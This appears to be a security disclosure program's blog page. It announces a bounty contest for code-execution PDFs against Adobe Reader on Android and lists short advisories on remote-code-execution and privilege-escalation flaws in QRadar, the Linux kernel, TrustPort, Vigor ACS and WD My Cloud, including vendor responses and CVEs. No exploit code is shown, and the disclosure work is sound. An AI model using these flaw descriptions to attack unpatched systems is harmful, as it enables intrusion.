The target for this Hack2Win eXtreme warm-up will be Adobe Reader on Android, and the goal is to get it to run arbitrary code when a PDF file is opened.
Scope
An award prize of 30,000$ USD will be given to any person (up to 5 winners) that is able to provide a PDF file which is opened from either the local storage (on the Android device) or accessed through a URL being typed into a browser (Chrome, Firefox, etc), where that the PDF is able to:

  • Get code execution, which is able to do either:
    • Write an arbitrary file to the data folder of the Adobe Reader
      OR
    • Run /bin/bash – which should be visible when you run ‘ps’ on the Android OS

In addition, the vulnerability should be in Adobe Reader and not in some external application that can be launched from within Adobe Reader; it should not require any interaction beyond opening the file (e.g. clicking on popups or a confirmation dialog after the PDF is opened will not be considered a code execution vulnerability).
How to submit?
The submission process will be the same as any other vulnerability that being submitted to us, please refer to Submission Process page for more details.
Contest Deadline
Once we have reached the deadline (19th of September) or receive 5 valid submissions, we will no longer accept additional submissions. We will announce this on this blog page as well as on our @SecuriTeam_SSD twitter account.
Eligibility
The Hack2Win eXtreme is open for registration to anyone who is 18 years of age or older at the time of submission – excluding anyone working for Adobe. Also excluded are Beyond Security employees and any of its affiliates.
Winner Selection
The first 5 (five) submissions received will be selected, according to the email timestamp. Only complete and working submissions will be considered. If a submission does not work you will be asked to provide a working version – the submission date will be the date the working version was sent to Beyond Security.
Vulnerabilities and exploit techniques revealed by contest winners will be disclosed to Adobe and the exploits and whitepapers will be the property of Beyond Security. The original finder of the vulnerability will receive credit (or remain anonymous if he/she wishes to remain anonymous) for the vulnerabilities, the whitepaper and the disclosure.

SSD Advisory – QRadar Remote Command Execution

Vulnerability Summary
Multiple vulnerabilities in QRadar allow a remote unauthenticated attackers to cause the product to execute arbitrary commands. Each vulnerability on its own is not as strong as their chaining – which allows a user to change from unauthenticated to authenticated access, to running commands, and finally running these commands with root privileges.
Vendor Response
“You reported this vulnerability to IBM on January 25th, and we notified you on April 27th that the vulnerability had been fixed. Here is the link to our public notice and the independent researcher that reported it to you was acknowledged: http://www.ibm.com/support/docview.wss?uid=swg22015797. We thank you for your efforts in reporting these issues to us, and for delaying your disclosures until IBM published a fix.
For your awareness the third vulnerability you reported with regards to privilege escalation to root had been fixed in patches a few weeks prior to the initial report. This is the bulletin for that particular CVE: http://www.ibm.com/support/docview.wss?uid=swg22012293.
After concerns regarding the scoring of the other vulnerabilities were brought to our attention, the scoring has been reviewed and some corrections made. The reported issue has been separated into separate CVEs: a new one for the authentication bypass CVE-2018-1612; and the existing one for the command injection as an unprivileged user CVE-2018-1418. The updated descriptions and scoring for these CVEs is as follows:
CVE-2018-1612 IBM QRadar Incident Forensics could allow a remote attacker to bypass authentication and obtain sensitive information
CVSS Base: 5.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
CVE-2018-1418 IBM QRadar Incident Forensics could allow an authenticated attacker to execute commands as ‘nobody’.
CVSS Base: 7.4
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
The issue in the initial scoring occurred due to a miscommunication in our process and we are working to improve our process going forward. We apologize for the problematic scoring in our initial disclosure. Also while the fix for the authentication CVE-2018-1612 was included in 7.2.8 Patch 11 we discovered an issue with 7.3.1 Patch 2 and are issuing an iFix as outlined here www.ibm.com/support/docview.wss?uid=swg22017062. The command injection issue is fixed in 7.3.1 Patch 2 as previously published.”
CVE
CVE-2018-1418
(NOTE while only a single CVE was issued three vulnerabilities were patched by the vendor)
Credit
An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
(more…)

SSD Advisory – Linux AF_LLC Double Free

Vulnerability Summary
A use after free vulnerability in AF_LLC allows local attackers to control the flow of code that the kernel executes, allowing them to cause it to run arbitrary code and gain elevated privileges.
Vendor Response
The vulnerability was reported to the Kernel Security, which asked us to contact the netdev team. A patch was provided by the netdev team, on the 27th of March, and was later integrated into the main code of Linux (we are not certain when).
Attempts to recontact the netdev and understand more on the timeline, went unanswered.
We know that the patch has been introduced as part of:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?h=v4.17-rc2&id=b85ab56c3f81c5a24b5a5213374f549df06430da
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Affected systems
The oldest known version to be affected Linux version 2.6.39.4, the patch has been introduced as part of 4.17-rc2.
(more…)

SSD Advisory – TrustPort Management Unauthenticated Remote Code Execution

Vulnerability Summary
Multiple vulnerabilities in TrustPort’s management product allow remote unauthenticated attackers to cause the product to execute arbitrary code.
TrustPort Management “offers you an effective and practical way to install centrally, configure and update antivirus software in your network and it enables mass administration of TrustPort products. Central administration from TrustPort brings you simple application of corporate security policies, monitoring of security incidents or the remote starting of tasks”.
Vendor Response
The vulnerability was reported to the vendor on March 6th, the following response was received on the 6th of March:
“thanks for information. We are going to correct the errors in following version of the SW.”
No further response was received, though 3 more emails were sent by us to the company between the March 6th and the date of publication. We have no idea of how to resolve this bug, the only workaround is to not expose the administrative port to untrusted networks.
Credit
An independent security researcher, Ahmed Y. Elmogy, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
(more…)

SSD Advisory – Vigor ACS Unsafe Flex AMF Java Object Deserialization

Vulnerability Summary
A vulnerability in Vigor ACS allows unauthenticated users to cause the product to execute arbitrary code.
VigorACS 2 “is a powerful centralized management software for Vigor Routers and VigorAPs, it is an integrated solution for configuring, monitoring, and maintenance of multiple Vigor devices from a single portal. VigorACS 2 is based on TR-069 standard, which is an application layer protocol that provides the secure communication between the server and CPEs, and allows Network Administrator to manage all the Vigor devices (CPEs) from anywhere on the Internet. VigorACS 2 Central Management is suitable for the enterprise customers with a large scale of DrayTek routers and APs, or the System Integrator who need to provide a real-time service for their customer’s DrayTek devices.”
Credit
An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
“We’ll release the new version 2.2.2 to resolve this problem and inform the user about the CVE ID and reporter.
The release note will be updated on Wednesday (Apr 4, 2018).
Kindly let me know if you have further question, thank you!”
(more…)

SSD Advisory – Western Digital My Cloud Pro Series PR2100 Authenticated RCE

Vulnerability Summary
A vulnerability in the Western Digital My Cloud Pro Series PR2100 allows authenticated users to execute commands arbitrary commands.
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
The vendor was notified on the 28th of November 2017, and responded that they take security seriously and will be fixing this vulnerability promptly, repeated attempts to get a timeline or fix failed, the last update received from them was on the 31st of Jan 2018, no further emails sent to the vendor were responded. We are not aware of any fix or remediation for this vulnerability.
(more…)